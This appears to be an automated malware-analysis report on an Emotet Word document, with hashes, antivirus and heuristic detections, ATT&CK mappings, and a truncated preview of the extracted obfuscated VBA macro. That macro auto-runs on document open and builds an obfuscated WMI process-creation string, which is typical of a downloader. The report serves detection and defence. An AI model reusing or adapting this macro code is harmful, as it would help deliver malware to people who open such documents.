Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1e8a6435fc0139a1…

MALICIOUS

Office (OLE)

223.6 KB Created: 2020-08-28 14:45:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 343bd278011b9b0def0d19320b304427 SHA-1: bd1c511b2b2a73dafd50c31ed5896caa22162a55 SHA-256: 1e8a6435fc0139a1d2706c82a6e32398cec7b725bdd8d8a15ad6b3848510dae8
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is identified as malicious by ClamAV with a signature indicating it's an Emotet downloader. The presence of VBA macros, specifically a Document_Open macro that uses CreateObject, strongly suggests the execution of malicious code. The macro's obfuscated nature and the ClamAV detection point to a downloader attempting to fetch and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16020 bytes
SHA-256: 2fa7e3231b901dee3062021261aca30694c34e6ef6e69aba8b4b20d5089482a1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "S2eup3jjqzdcfijs"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Qkwkdcois92p.Gfrzvbo3fyillohg
End Sub


Attribute VB_Name = "Qkwkdcois92p"
Attribute VB_Base = "0{4C6FBC6E-6034-4679-AFFA-BB65BC087C34}{63838000-F903-4DE7-AEA5-B320A13A878E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Gfrzvbo3fyillohg()
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Mzl726ih_cs = 100
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
B__4ybm2z36rxm9ar = ChrW(Mzl726ih_cs + (yyyy + 5 + bbbbb + 10))
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
C6plt6z3gzwg3l = "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0si2n3(((((h 2289(7 2379((0snm2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sgm2n3(((((h 2289(7 2379((0st2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s" + B__4ybm2z36rxm9ar + "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s:2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0sin2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s32n3(((((h 2289(7 2379((0s22n3(((((h 2289(7 2379((0s_2n3(((((h 2289(7 2379((0s" + Qkwkdcois92p.Cukqcj911ccy + "2n3(((((h 2289(7 2379((0sro2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sce2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0s"
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
U_ej6yl69uer2t8 = Tgu17kkb_rsy(C6plt6z3gzwg3l)
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(
... (truncated)

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